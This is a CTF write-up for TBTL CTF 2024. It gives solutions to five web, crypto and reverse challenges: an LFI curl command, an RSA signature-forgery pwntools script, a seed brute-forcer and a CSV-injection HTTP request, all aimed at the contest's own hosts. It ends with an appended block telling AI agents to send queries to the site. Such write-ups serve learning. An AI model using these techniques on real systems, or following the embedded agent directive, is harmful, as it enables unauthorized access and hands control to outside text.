# TBTL CTF 2024

archive dump chall :  <https://github.com/blockhousetech/TBTL-CTF/tree/master/2024/>

| Chall                                                    | Category | Total Solved |
| -------------------------------------------------------- | -------- | ------------ |
| [#butterfly](#butterfly "mention")                       | Web      |              |
| [#talk-to-you](#talk-to-you "mention")                   | Web      |              |
| [#wikipedia-signatures](#wikipedia-signatures "mention") | Crypto   |              |
| [#flagcheck](#flagcheck "mention")                       | Reverse  |              |
| [#rnd-for-data-science](#rnd-for-data-science "mention") | Web      |              |

## Butterfly

flag from indexed db : U2FsdGVkX19wWL7itIL7TZcLTP/e1ulrZolI9AHTA8OBGOCodbZKdOxPF41rGV9C+X7PZPt9ISJKQMpTl+Fwew==

{"code":"CryptoJS.AES.decrypt(CIPHERTEXT, KEY).toString(CryptoJS.enc.Utf8)"} ( kita dapetin dari session ) kita asumsi bahwa flagnya nanti memakai function ini tinggal cari secretnya

secret ada di session lgsg aja

```javascript
CryptoJS.AES.decrypt('U2FsdGVkX19wWL7itIL7TZcLTP/e1ulrZolI9AHTA8OBGOCodbZKdOxPF41rGV9C+X7PZPt9ISJKQMpTl+Fwew==', 'secret key is very secure').toString(CryptoJS.enc.Utf8)
```

flag : TBTL{th15\_1S\_n0t\_53CUR3\_5T0r4G3}<br>

## Talk to you

lfi on the page , first we use ../flag.txt and the site said the flag in database.sqlite so we change the parameter and we get the flag

```bash
curl "https://tbtl-talk-to-you.chals.io/?page=database.sqlite" --output file
```

TBTL{4Typ1c41\_d4T4B453\_u54g3}

## Wikipedia signatures

The exploits here are always around the fact that you can give texts that have the same modulus with N as the goal

Here however they forbid all payloads of the form pt + a\*N

However we can simply do (N-pt)

As we know that (N-pt)^e = -C (mod N)

So taking -(-C) (mod N) gives us what we need and supplying that decrypts it successfully

```python
from Crypto.Util.number import *
from pwn import *

conn = remote('0.cloud.chals.io', 31148)
conn.recvuntil(b'(')

n = int(conn.recvuntil(b',').decode()[:-1])
print(n)

e = int(conn.recvuntil(b')').decode()[:-1])
print(e)

conn.recvline()
conn.recvline()
conn.recvline()
conn.recvline()

print(conn.recvuntil(b'> '))

TARGET = b'I challenge you to sign this message!'
pt = bytes_to_long(TARGET)

print(pt)

rev_t = n-pt

payload = "2 " + str(rev_t)
print(payload)
conn.sendline(payload.encode())

res = int(conn.recvline().decode().strip("\r\n"))
print(res)

rev_res = n-res
print(rev_res)

payload = "1 " + str(rev_res)
print(payload)
conn.sendline(payload.encode())
print(conn.recvall())

conn.close()
```

TBTL{r3p347\_4f73r\_m3-d16174l\_516n47ur3\_15\_n07\_3ncryp710n}

## Flagcheck

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

unsigned char dt[] = {0x33,0x00,0x00,0x00,0x84,0x00,0x00,0x00,0x3d,0x00,0x00,0x00,0x3f,0x00,0x00,0x00,0x2a,0x00,0x00,0x00,0x93,0x00,0x00,0x00,0x7b,0x00,0x00,0x00,0x82,0x00,0x00,0x00,0x1a,0x00,0x00,0x00,0xac,0x00,0x00,0x00,0x8e,0x00,0x00,0x00,0xf4,0x00,0x00,0x00,0xb1,0x00,0x00,0x00,0xcb,0x00,0x00,0x00,0x8d,0x00,0x00,0x00,0x21,0x00,0x00,0x00,0x0e,0x00,0x00,0x00,0xb7,0x00,0x00,0x00,0x67,0x00,0x00,0x00,0x96,0x00,0x00,0x00,0x2c,0x00,0x00,0x00,0x81,0x00,0x00,0x00,0xd3,0x00,0x00,0x00,0xbc,0x00,0x00,0x00,0x29,0x00,0x00,0x00,0x6c,0x00,0x00,0x00,0x4b,0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xed,0x00,0x00,0x00,0xfd,0x00,0x00,0x00,0xee,0x00,0x00,0x00,0x56,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x52,0x00,0x00,0x00,0xd5,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x6d,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x3e,0x00,0x00,0x00,0x7a,0x00,0x00,0x00,0x1b,0x00,0x00,0x00,0x69,0x00,0x00,0x00,0x23,0x00,0x00,0x00,0x1f,0x00,0x00,0x00,0xb6,0x00,0x00,0x00,0x1d,0x00,0x00,0x00,0xbc,0x00,0x00,0x00,0x98,0x00,0x00,0x00,0xd1,0x00,0x00,0x00,0xa6,0x00,0x00,0x00,0x83,0x00,0x00,0x00,0xe9,0x00,0x00,0x00,0xeb,0x00,0x00,0x00,0x13,0x00,0x00,0x00,0x21,0x00,0x00,0x00,0x3d,0x00,0x00,0x00,0xf8,0x00,0x00,0x00,0x2b,0x00,0x00,0x00,0x79,0x00,0x00,0x00,0x53,0x00,0x00,0x00,0x4f,0x00,0x00,0x00,0xa1,0x00,0x00,0x00};

int main() {
    srand(time(NULL));
    for (int x = 0; x < 255; x++) {
        srand(x);
        char tmp[64] = {0};
        for (int i = 0; i < 0x3f; i++) {
            tmp[i] = dt[i*4] ^ (rand() % 0x100);
        }
        if (strstr(tmp, "TBTL") != NULL) {
            printf("%s\n", tmp);
            break;
        }
    }
    return 0;
}
```

## Rnd For Data Science

csv injection payload: ,delimiter,#&#x20;

```bash
POST /generate HTTP/1.1
Host: tbtl-rnd-for-data-science.chals.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Origin: https://tbtl-rnd-for-data-science.chals.io
Referer: https://tbtl-rnd-for-data-science.chals.io/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

numColumns=3&columnName0=%2cdelimiter%2c%23&columnName1=b&columnName2=c&delimiter=%20
```

TBTL{d4T4\_5c13nc3\_15\_n07\_f0r\_r0ck135}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://n2l-cysec.gitbook.io/notes/writeup-ctfs/2024/tbtl-ctf-2024.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
